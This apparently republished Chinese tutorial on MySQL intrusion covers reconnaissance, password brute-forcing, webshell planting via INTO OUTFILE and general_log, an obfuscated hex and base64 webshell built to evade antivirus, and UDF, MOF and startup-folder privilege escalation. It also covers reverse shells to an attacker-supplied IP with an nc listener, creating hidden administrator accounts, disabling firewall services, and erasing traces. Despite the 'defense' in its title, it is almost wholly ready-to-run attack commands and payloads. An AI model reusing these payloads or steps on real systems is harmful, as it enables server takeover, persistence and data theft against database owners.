|
|
|
|
移动端

教你一些MySQL数据库入侵及防御方法

在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

作者:陈小兵来源:数据库开发|2018-06-21 14:50

【新品产上线啦】51CTO播客,随时随地,碎片化学习

教你一些MySQL数据库入侵及防御方法

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。

针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

一、MySQL 信息收集

1、端口信息收集

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

  • iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;
  • Nmap 扫描 Nmap -p 3306 192.168.1.1-254。

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

2、版本信息收集

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块

以扫描主机 192.168.157.130 为例,命令为:

  1. use auxiliary/scanner/mysql/mysql_version  
  2. set rhosts 192.168.157.130  
  3. run 

MySQL 查询版本命令:

  1. SELECT @@version、SELECT  version(); 

sqlmap 通过注入点扫描确认信息:

  1. sqlmap.py -u url --dbms mysql 

phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。

3、数据库管理信息收集

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

4、msf 信息收集模块

MySQL 哈希值枚举:

  1. use auxiliary/scanner/mysql/mysql_hashdump  
  2. set username root  
  3. set password root  
  4. run 

获取相关信息:

  1. use auxiliary/admin/mysql/mysql_enum  
  2. set username root  
  3. set password root  
  4. run 

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似

  1. use auxiliary/admin/mysql/mysql_sql 

将mysql_schem导出到本地/root/.msf4/loot/文件夹下

  1. use auxiliary/scanner/mysql/mysql_schemadump 

文件枚举和目录可写信息枚举

  1. auxiliary/scanner/mysql/mysql_file_enum  
  2. auxiliary/scanner/mysql/mysql_writable_dirs 

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。

二、MySQL 密码获取

1、暴力破解

MySQL 暴力破解主要有几种:

网页在线连接破解:

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:

  • https://portswigger.net/burp/
  • http://pan.baidu.com/s/1c1LD6co

msf 通过命令行进行暴力破解:

msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

场景A:对内网获取 Root 某个口令后,扩展渗透

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set password root  
  4. set username root  
  5. run 

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

场景B:使用密码字典进行扫描

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set pass_file /tmp/password.txt  
  4. set username root  
  5. run 

使用 nmap 扫描并破解密码:

对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

  1. nmap --script=mysql-brute 192.168.157.130  
  2. nmap --script=mysql-brute 192.168.157.1-254 

使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息

  1. nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 

检查 Root 空口令

  1. nmap --script mysql-empty-password 192.168.195.130 

对 MySQL 口令进行扫描:

使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

2、源代码泄露

网站源代码备份文件:

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描。

配置备份文件:

使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。

3、文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

4、其它情况

有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 MySQL客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

三、MySQL 获取 webshell

1、phpmyadminroot 账号获取 webshell

MySQL Root 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第1)2)6)8)方法较佳,其它可以根据实际情况来进行。

1)直接读取后门文件:

通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。

2)直接导出一句话后门:

前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址:http://www.somesite.com/cmd.php

  1. select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

3)创建数据库导出一句话后门:

在查询窗口直接执行以下代码即可,跟2)原理类似

  1. CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );  
  2. INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');  
  3. SELECT `tempFROM `antian365` INTO OUTFILE'D:/www/antian365.php' 
  4. DROP TABLE IF EXISTS `antian365`; 

4)可执行命令方式:

创建执行命令形式的 Shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)

  1. select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php' 

另外在 Linux 下可以导出直接执行命令的 Shell

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'
  2. http://localhost/shell.php?c=cat%20/etc/passwd

5)过杀毒软件方式:

通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下

  1. <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?> 

然后通过图片包含 temp.php,导出 webshell

  1. select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

一句话后门密码:antian365

6)直接导出加密 webshell:

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改 D:/WEB/IPTEST/22.php

  1. select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E'into dumpfile 'D:/WEB/IPTEST/22.php' 

注意:也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入 unhex 函数进行查询即可

  1. select unhex('十六进制字符串'into dumpfile 'D:/WEB/shell.php' 

7)CMS 系统获取 webshell:

有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可直接上传 php 文件。下面是一些 CMS 系统渗透的技巧:

dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解;

Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。

8)general_log_file 获取 webshell:

查看 genera 文件配置情况

  1. show global variables like "%genera%"

关闭 general_log

  1. set global general_log=off

通过 general_log 选项来获取 webshell

  1. set global general_log='on' 
  2. SET global general_log_file='D:/phpStudy/WWW/cmd.php'

在查询中执行语句

  1. SELECT '<?php assert($_POST["cmd"]);?>'

Shell 为 cmd.php,一句话后门,密码为cmd。

2、Sqlmap 注入点获取 webshell

Sqlmap 注入点获取 webshell 的前提是具备写权限,一般是 Root 账号,通过执行命令来获取

  1. sqlmap -u url--os-shell 
  2.  
  3.   echo "<?php @eval($_POST['c']);?>" >/data/www/1.php 

四、MySQL 提权

1、mof提权

webshell 上传 mof 文件提权:

MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称 MySQL 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

  • 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件;
  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;
  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用 MOF 方法提权的前提是当前 Root 帐号可以复制文件到 %SystemRoot%\System32\Wbem\MOF 目录下,否则会失败!

该漏洞的利用前提条件是必须具备 MySQL 的 Root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。

  1. perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 

192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。

生成 nullevt.mof 文件:

将以下代码保存为nullevt.mof文件:

  1. #pragma namespace("\\\\.\\root\\subscription")   
  2. instance of __EventFilter as $EventFilter  
  3. {   
  4. EventNamespace = "Root\\Cimv2";   
  5. Name  = "filtP2";   
  6.     Query = "Select * From __InstanceModificationEvent "   
  7.             "Where TargetInstance Isa \"Win32_LocalTime\" "   
  8.             "And TargetInstance.Second = 5";   
  9. QueryLanguage = "WQL";   
  10. };   
  11. instance of ActiveScriptEventConsumer as $Consumer   
  12. {   
  13.     Name = "consPCSV2";   
  14. ScriptingEngine = "JScript";   
  15. ScriptText =   
  16.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";   
  17. };   
  18. instance of __FilterToConsumerBinding  
  19. {   
  20.     Consumer   = $Consumer;   
  21.     Filter = $EventFilter;   
  22. }; 

通过 MySQL 查询将文件导入:

执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令

  1. selectload_file('C:\\RECYCLER\\nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

msf 直接 mof 提权:

msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 mof 提权,不过该漏洞成功跟操作系统权限和 MySQL 数据库版本有关,执行成功后会直接反弹 Shell 到 meterpreter

  1. use exploit/windows/mysql/mysql_mof  
  2. set rhost 192.168.157.1 //设置需要提权的远程主机IP地址  
  3. set rport 3306 //设置mysql的远程端口  
  4. set password root //设置mysql数据库root密码  
  5. set username root //设置mysql用户名  
  6. options //查看设置 
  7. run 0 

技巧:要是能够通过网页连接管理(phpmyadmin),则可以修改 host 为“%”并刷新权限后,则可以通过 msf 等工具远程连接数据库。默认 Root 等账号不允许远程连接,除非管理员或者数据库用户自己设置。

方法1:本地登入 MySQL,更改 "MySQL" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

  1. use mysql;  
  2.  update user set host = '%' where user = 'root' 
  3. FLUSH PRIVILEGES ;  
  4.  select host, user from user

方法2:直接授权(推荐)

从任何主机上使用 Root 用户,密码:youpassword(你的root密码)连接到 MySQL 服务器

  1. # mysql -u root -proot  
  2. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION 
  3. FLUSH PRIVILEGES

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用 Root 配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改 Root 配置。

2、udf 提权

UDF 提权是利用 MySQL 的自定义函数功能,将 MySQL 账号转化为系统 system 权限,利用条件的目标系统是 Windows(Win2000/XP/2003);拥有 MySQL 的某个用户账号,此账号必须有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,有 Root 账号密码Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。

UDF 提权条件:

  • MySQL 版本大于 5.1 版本 udf.dll 文件必须放置于 MySQL 安装目录下的 lib\plugin 文件夹下。
  • MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。
  • 掌握的 MySQL 数据库的账号有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,一般以 Root 账号为佳,具备 Root 账号所具备的权限的其它账号也可以。
  • 可以将 udf.dll 写入到相应目录的权限。

提权方法:

获取数据库版本、数据位置以及插件位置等信息

  1. select version();//获取数据库版本  
  2. select user();//获取数据库用户  
  3. select @@basedir ;//获取安装目录  
  4. show variables like '%plugins%';  //寻找mysql安装路径 

导出路径

  1. C:\Winnt\udf.dll    Windows 2000  
  2. C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll) 

MySQL 5.1 以上版本,必须要把 udf.dll 文件放到 MySQL 安装目录下的 libplugin 文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用 webshell 找到 MySQL 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录即可。

在某些情况下,我们会遇到 Can't open shared library 的情况,这时就需要我们把 udf.dll 导出到 lib\plugin 目录下才可以,网上大牛发现利用 NTFS ADS 流来创建文件夹的方法

  1. select @@basedir;  //查找到mysql的目录  
  2. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录  
  3. select 'It is dll' into d 
  4. umpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。

创建 cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

执行命令

  1. select sys_eval(‘whoami’); 

一般情况下不会出现创建不成功哦。连不上 3389 可以先停止 windows 防火墙和筛选

  1. select sys_eval(‘net stop policyagent’);  
  2. select sys_eval(‘net stop sharedaccess’); 

udf.dll 下常见函数

cmdshell  执行cmd;

downloader  下载者,到网上下载指定文件并保存到指定目录;

open3389    通用开3389终端服务,可指定端口(不改端口无需重启);

backshell   反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread     读注册表;

regwrite    写注册表;

shut        关机,注销,重启;

about       说明与帮助函数;

具体用户示例

  1. select cmdshell('net user iis_user 123!@#abcABC /add');  
  2. select cmdshell('net localgroup administrators iis_user /add');  
  3. select cmdshell('regedit /s d:web3389.reg');  
  4. select cmdshell('netstat -an'); 

清除痕迹

  1. drop function cmdshell;//将函数删除 

删除 udf.dll 文件以及其它相关入侵文件及日志。

常见错误

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement  
  2. SHOW VARIABLES LIKE "secure_file_priv" 

在 my.ini 或者 mysql.cnf  文件中注销 (使用#号) 包含 secure_file_priv 的行。

  1. 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将 my.ini 中的 skip-grant-tables 选项去掉。 

webshell 下 udf 提权:

通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

MySQL 提权综合利用工具:

v5est0r 写了一个 MySQL 提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

  • 自动导出你的 backdoor 和 mof 文件;
  • 自动判断 MySQL 版本,根据版本不同导出 UDF 的 DLL 到不同目录,UDF 提权;
  • 导出 LPK.dll 文件,劫持系统目录提权;
  • 写启动项提权。

UdF 自动提权

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK 劫持提权

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

启动项提权

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst 

例如通过 LOAD_FILE 来查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,这无法进行提权。

3、无法获取 webshell 提权

连接 MySQL:

  1. mysql.exe -h ip -uroot -p  
  2. phpmyadmin  
  3. Navicat for MySQL 

查看数据库版本和数据路径:

  1. SELECT VERSION( );  
  2. Select @@datadir; 

5.1 以下版本,将 dll 导入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通过以下查询来获取插件路径

  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 
  2. show variables like '%plugin%' ;  
  3. select load_file('C:/phpStudy/Apache/conf/httpd.conf' 
  4. select load_file('C:/phpStudy/Apache/conf/vhosts.conf' 
  5. select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf' 
  6. select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf' 
  7. select load_file('d:/phpStudy/Apache/conf/vhosts.conf'

修改 MySQL.txt:

MySQL.txt 为 udf.dll 的二进制文件转成十六进制代码。

  • 先执行导入 ghost 表中的内容,修改以下代码的末尾代码:select backshell("YourIP",4444);
  • 导出文件到某个目录

导出过程:

  1. select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';   
  2. select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';   
  3. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';   
  4. select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';   
  5. select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'   
  6. select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';   
  7. C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd  
  8. select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');  
  9. select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' 
  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在则删除
  1. drop FUNCTION cmdshell;//删除cmdshell  
  2. drop FUNCTION backshell;//删除backshell 
  • 创建backshell
  1. CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell 
  • 在具备独立主机的服务器上执行监听
  1. nc -vv -l -p 44444 
  • 执行查询
  1. select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口 

获取 webshell 后添加用户命令:

注意如果不能直接执行,则需要到 c:\windows\system32\ 下执行

  1. net user antian365 Www.Antian365.Com /add   
  2. net localgroup administrators antian365 

4、Sqlmap 直连数据库提权

Sqlmap 直接连接数据库提权,需要有写入权限和 Root 账号及密码,命令如下:

  • 连接数据库:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
  • 选择操作系统的架构,32 位操作系统选择 1,64 位选择 2
  • 自动上传 udf 或提示 os-shell
  • 执行 whomai 命令如果获取系统权限,则表示提权成功。

Msfudf 提权:

Kali 渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/)

  1. msfconsole  
  2. use exploit/windows/mysql/mysql_payload  
  3. options  
  4. set rhost 192.168.2.1  
  5. set rport 3306  
  6. set username root  
  7. set password 123456  
  8. run 0或者exploit 

msf 下 udf 提权成功率并不高,跟 windows 操作系统版本,权限和数据库版本有关,特别是 secure-file-priv 选项,如果有该选项基本不会成功。

5、启动项提权

创建表并插入 vbs 脚本到表中:

依次使用以下命令

show databases ;

  1. use test;  
  2. show tables;  
  3. create table a (cmd text);  
  4. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  5. insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;  
  6. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );  
  7. select * from a; 

导出 vbs 脚本到启动:

使用以下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中

  1. select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs"

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。

推荐使用以下脚本

  1. show databases ;  
  2. use test;  
  3. show tables;  
  4. create table b (cmd text);  
  5. insert into b values ("net user Aspnet123545345!* /add");  
  6. insert into b values ("net localgroup administrators Aspnet /add");  
  7. insert into b values ("del b.bat");  
  8. select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat"

该脚本执行后虽然会闪现 DOS 窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过 MySQL 连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的 b.bat 脚本文件。

说明:在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为

  1. select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat"

Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以参考如下写法

  1. create table a (cmd text);  
  2. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  3. insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );  
  4. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );  
  5. select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"

msf 下模块 exploit/windows/mysql/mysql_start_up 提权:     

  1. use exploit/windows/mysql/mysql_start_up  
  2. set rhost 192.168.2.1  
  3. set rport 3306  
  4. set username root  
  5. set password 123456  
  6. run 

msf 下 mysql_start_up 提权有一定的几率,对英文版系统支持较好。

五、msf 其它相关漏洞提权

1、MySQL 身份认证漏洞及利用(CVE-2012-2122)

当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。按照公告说法大约 256 次就能够蒙对一次。受影响的产品:

  • All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞
  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exec

六、MySQL 密码破解

1、Cain 工具破解 MySQL 密码

使用 UltraEdit-32 编辑器直接打开 user.MYD 文件,打开后使用二进制模式进行查看,在 Root 用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

注意:

  • root 后面的“*”不要复制到字符串中。
  • 在有些情况下需要往后面看看,否则得到的不是完整的 MYSQLSHA1 密码,总之其正确的密码位数是 40 位。

安装 cain 工具,使用 cracker,右键单击“Add tolist”将 MySQL Hashes 值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

2、网站在线密码破解

  • cmd5.com 破解。将获取的 MySQL 值放在 cmd5.com 网站中进行查询,MySQL 密码一般都是收费的;
  • somd5.com 破解。Somd5.com 是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

3、Oclhash 破解

Hashcat 支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令

  1. hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型  
